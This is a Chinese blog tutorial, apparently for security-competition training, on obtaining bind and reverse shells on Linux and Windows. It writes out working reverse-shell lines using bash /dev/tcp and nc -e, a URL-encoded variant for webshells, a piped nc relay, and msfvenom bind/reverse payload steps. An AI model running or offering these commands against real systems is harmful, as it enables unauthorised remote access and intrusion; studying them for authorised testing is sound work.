正向shell和反弹shell-程序员宅基地

技术标签: 中职网络空间安全知识体系  网络安全  

渗透过程中第一步也是最重要的一步就是拿到shell了,在没有常见简单的漏洞(如永恒之蓝或笑脸漏洞 )时,必须从别的地方入手。

若赛题难一点的话通常出漏洞的地方都不会让你那么简单的拿到一个shell,最多只能拿到一个命令执行环境(如web的命令注入或[mssql,低权限下的xp_cmdshell])。没有交互式的shell对后期的提权有着挺大麻烦

本文主要探讨的是实战渗透中正向和反向shell的用法及技巧,包括linux和windows(不包含免杀,毕竟比赛也没有),以及有无防火墙的情况

这两种shell的意思和基础百度都可以找到,所以本文不再赘述,只对使用技巧和场合等进行说明
在这里插入图片描述

正向shell

理论

正向shell是指攻击机主动连接靶机,并取得shell。通俗点说就是靶机自己绑定某个端口,等攻击机连接后将收到的数据给bash或cmd(后文简称shell),执行结果再丢给攻击机。这套流程中有两个关键点

  1. 防火墙开放时,正向shell是否能生效
  2. 如何在靶机上绑定端口并重定向给shell

先说第一点,当防火墙开启时,除非有未过滤且未被占用的端口,简单来说就是nmap扫出来是close的端口,不然还真没办法,除非权限高到能关闭防火墙;或者题目环境极其特殊,比如防火墙是存在某种能被绕过的规则的(比如放行某个ip,或某个源端口)。但据我所知没有,所以先不考虑特殊情况。

如果看到开放了防火墙又没有可利用的close端口的,直接就给正向shell下死刑即可

第二点,如何绑一个正向shell在靶机上,通常有以下几种方法

  1. 用C、PYTHON等语音写个socket小程序,但这个要求靶机上有相应的解释环境,而且还要占用不少比赛时间,通常很少考虑
  2. linux有nc且该版本支持-e参数时,可以nc -l 端口 -e /bin/bash
  3. msfvenom可生成相应的正向shell木马,能传木马的情况下可考虑

实操

先来看nc,这里以centos7(内核号3.10.0-1127)为例,先进行基本扫描
在这里插入图片描述
仅开放80端口,为方便演示实际上80端口是个webshell,我们直接利用
在这里插入图片描述
已经可以执行命令,这时尝试用nc来绑定正向shell
在这里插入图片描述
运行之后发现网页卡顿了,在转圈圈。此时回去再次nmap扫描看看结果
在这里插入图片描述
可以看到开放了4444端口,这个就是我们绑定的正向shell了
注意这里不能用-sT(TCP完整扫描)参数,用了的话连了又断这个shell就没了

连接这个shell的方法也很简单,直接nc过去连即可
在这里插入图片描述
至此取shell了,可以开始提权了。

windows没有nc,因此无法使用这种方法。不过有方法上传文件时,可以上传个nc.exe上去这样windows也可以用这种方法了
nc.exe在kali里面会有
在这里插入图片描述
接下来是msfvenom生成木马的方法
在这里插入图片描述
这个是linux的,x86是因为兼容,若实战不行再考虑改成x64
然后想办法把这个马上传上去,一般可用nc/curl/wget等各类方法,根据个人喜欢即可
通用有777的文件夹/tmp /opt,建议/opt
记得先授权下
在这里插入图片描述
然后运行即可
在这里插入图片描述
nc直接连!是不行的,会直接断掉
在这里插入图片描述
这也是一个缺点,msf生成的payload也得用msf来打,具体就是用exploit/multi/handler模块,选对应的payload和参数就行了
在这里插入图片描述
windows也是同样的操作,就是模块换成了windows/shell/bind_tcp,唯一的难点是windows咋传文件?这个后续的文章会讲到

反向shell

理论

反向shell就是靶机带着shell来连攻击机,好处显而易见就是不用担心防火墙的问题了,当然也不是没有缺点。缺点就是攻击机的IP必须能支持靶机的主动寻址。举个例子如攻击机是内网ip或经过了NAT,靶机是公网IP,即使取得了命令执行权限靶机也无法将shell弹过来,这是因网络环境的问题。
好在比赛环境没有这么的复杂,通常做到以下两点就行了

  1. 攻击机网卡设为桥接
  2. 攻击机别开防火墙

然后就可以开开心心的开反弹shell了,反弹shell常用的方法和上文正向shell中提到的一样,就是linux多了个bash反弹略有不同。

实操

先来看bash反弹,读者应该都不陌生,这里讲下关键点

bash -i>& /dev/tcp/攻击机ip/攻击机监听port 0>&1

这句话有时候起不了作用,第一个就是webshell时没做url编码,正确的格式应该如下所示

bash%20-i>%26%20/dev/tcp/攻击机ip/攻击机port%200>%261

%20浏览器应该会自动补上,注意下%26即可。

第二种情况是目标系统的shell默认不是bash(也不知道这么说对不对),所以在这句前需要加上bash -c 来包裹,如下

bash -c 'bash -i>& /dev/tcp/攻击机ip/攻击机port 0>&1'

最常见的例子就是kali的zsh,可以尝试一下
在这里插入图片描述
明显第二句没有报错

接下来是nc,nc的反弹shell必须依靠-e才可以进行
nc -e /bin/bash 攻击机ip 攻击机port
在这里插入图片描述
在这里插入图片描述
实际上有的时候没有-e 但防火墙关闭时,可以结合正向shell构建一个反弹shell,不过一般是ubuntu和debian系统才行

nc -l 4444|bash|nc 192.168.106.133 5555

这句里的管道符相当于-e,这里我直接用的kali演示(kali内核基于debian的)
在这里插入图片描述
需要提前监听好自己的5555端口,因为这命令一执行他就来连你了。
在这里插入图片描述
这种方法有点奇妙就是一个终端输入命令另一个终端弹结果。而且严格意义来说算是正向shell,可以理解为正向shell的nc没-e时的快速利用方式

然后是msfvenom生成的木马,这里跟正向shell的步骤基本一样的所以也不赘述了,模块变成了linux/shell/reverse_tcp和windows/shell/reverse_tcp

总结

综上所述,正向和反弹shell可以算是各有优劣…可能没看出来优劣在哪,这里列一下我的评价

  • 正向shell:操作方便、队伍传shell方便、重用性强、对网络要求低、较怕防火墙
  • 反弹shell:对防火墙要求低、对网络要求高

所以具体用哪种shell,得联系实战场景,通常选用顺手的和方便的即可啦

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_45936149/article/details/123752352

智能推荐

css引入方式_css引入方式有几种?分别是什么?-程序员宅基地

文章浏览阅读5.8k次,点赞7次,收藏33次。一、css引入方式。css引入方式主要有四种,分别是行内样式、内嵌式、外链式、导入式。1.行内样式行内样式是直接把css代码放到HTML标签里面,作为style属性的属性值。<div style="width: 100px; height: 100px; border: 1px solid black;">这是一个长宽都为100px的div</div>运行结果:2.内嵌式内嵌式是在HTML中创建一个style标签,把css样式写入style标签内,style标签可以_css引入方式有几种?分别是什么?

PAT(甲级)2019年秋季考试_pat2019面向对象结构化编程-程序员宅基地

文章浏览阅读284次。7-1Forever(20分)"Forever number" is a positive integerAwithKdigits, satisfying the following constrains:the sum of all the digits ofAism; the sum of all the digits ofA+1isn; and the greatest common divisor ofmandnis a prime number whic..._pat2019面向对象结构化编程

使用QEMU模拟搭建ARM开发平台(三)——添加SCSI和MTD以及NAND flash支持_qemu仿真nandflash-程序员宅基地

文章浏览阅读5k次。使用versatile_defconfig编译的内核不能满足要求,现在,添加SCSI磁盘,MTD以及NAND flash的支持。交叉编译linux内核下载codesourcery的交叉编译工具链 https://sourcery.mentor.com/sgpp/lite/arm/portal/subscription?@template=lite, 选择目标OS为GNU/Linux_qemu仿真nandflash

git工具的使用方法以及与snv的区别_snv git-程序员宅基地

文章浏览阅读371次。给大家推荐一个廖雪峰老师讲解git的网站:https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000一、SVN与git的区别 SVN是“集成式”管理方式,所有的“版本控制器”都在中央服务器上,每个开发人员的的计算机都要连接到中央服务器上才能进行合作开发。开发人员一般只能在公司才能进行开发(因..._snv git

Centos7安装部署RabbitMQ及配置-程序员宅基地

文章浏览阅读4.4k次,点赞3次,收藏4次。1 简介RabbitMQ是一个开源的免费的消息队列系统,一端往消息队列中不断写入消息,而另一端则可以读取或者订阅队列中的消息。它是用Erlang编写的,并实现了高级消息队列协议(AMQP)。2 安装部署2.1 安装EPEL存储库和Erlang安装RabbitMQ是用Erlang语言编写的,在本教程中我们将安装最新版本的Erlang到服务器中。 Erlang在默认的YUM存储库中不可用,因此...

ubuntu下搭建ad-hoc网络实现多台设备进行网络通信(通过图形界面+超级详细教程)_测试ad-hoc无线网络的连通性-程序员宅基地

文章浏览阅读3.2k次,点赞9次,收藏20次。最近实验室做的一些工作需要使用lattepanda(类似增强的树莓派)并且使用其无线网卡的ad-hoc模式,并且实现多台lattepanda之间实现网络通信。_测试ad-hoc无线网络的连通性

随便推点

python进行方差分析_使用Python进行重复测量的双向方差分析-程序员宅基地

文章浏览阅读1.2k次。python进行方差分析Previously I have shown how to analyze data collected using within-subjects designs using rpy2 (i.e., R from within Python) and Pyvttbl. In this post I will extend it into a factorial ANOV..._python dataframe 方差 二次方差

html手机表白弹窗,怎么制作抖音弹窗表白代码 制作抖音弹窗表白代码的教程-程序员宅基地

文章浏览阅读2.3k次,点赞2次,收藏5次。怎么制作抖音弹窗表白代码?抖音是时下非常热门的短视频app,里面有很多好玩的视频。最近抖音弹窗表白代码的视频火了,想要制作抖音的弹出表白代码,具体该怎么制作?下面就是制作抖音弹窗表白代码的教程,一起了解一下。示例1:msgbox(“做我女朋友好吗?\“)msgbox(“房产证写你名字。保大…。我妈会游泳。…\”)示例2:msgbox(“做我女朋友好吗?\“)msgbox(\”房产证写你名字。…保大..._如何制作弹窗表白

oss上传文件_requestcoreexception: curl error: failed to connec-程序员宅基地

文章浏览阅读290次。array(2) { ["code"]=> int(0) ["msg"]=> string(102) "RequestCoreException: cURL error: SSL certificat_requestcoreexception: curl error: failed to connect to dongfy.oss-cn-beijing

测量地磁场实验-居家物理实验(版)_地磁场测量实验报告-程序员宅基地

文章浏览阅读1.9w次,点赞8次,收藏46次。实验项目名称:测量地磁场实验 实验目的:1.了解地磁场分布,并研究测量地磁场的方法2.利用智能手机测量地磁场的水平分量,垂直分量和磁倾角实验原理和实验内容:地球本身具有磁性,所以地球和近地之间存在着磁场,叫做地磁场。地磁场的强度和方向随地点(甚至随时间)而异。地磁场的北极,南极分别在地理南极,北极附近,批次并不重合,而且两者之间的偏差随时间不断在缓慢变化。在一个不太大的范围内,地磁场基本上是均匀的,可用三个参量来表示地磁场的方向和大小。仪器..._地磁场测量实验报告

python_boost_模板代码,_def_readonly-程序员宅基地

文章浏览阅读110次。namespace boost { namespace python{ template <class T , class Bases = bases<> , class HeldType = T , class NonCopyable = unspecified > class c..._def_readonly

风格迁移(CycleGAN)_cyclegan 指标-程序员宅基地

文章浏览阅读3.9k次。文章目录概述CycleGANCycleGAN有两个Generator网络CycleGAN有两个Discriminator网络CycleGAN的网络结构应用参考概述Cycle-Consistent Adversarial Networks(CycleGAN)是一个新颖的方法,它能将图像从源域映射到目标域b。CycleGANs的一个很酷的功能是它不需要训练数据配对就能产生惊人的风格传递的结果。在许多风格迁移的应用中,成对数据是训练所必需的。配对CycleGAN不需要配对数据输入到模型中无需_cyclegan 指标

推荐文章

热门文章

相关标签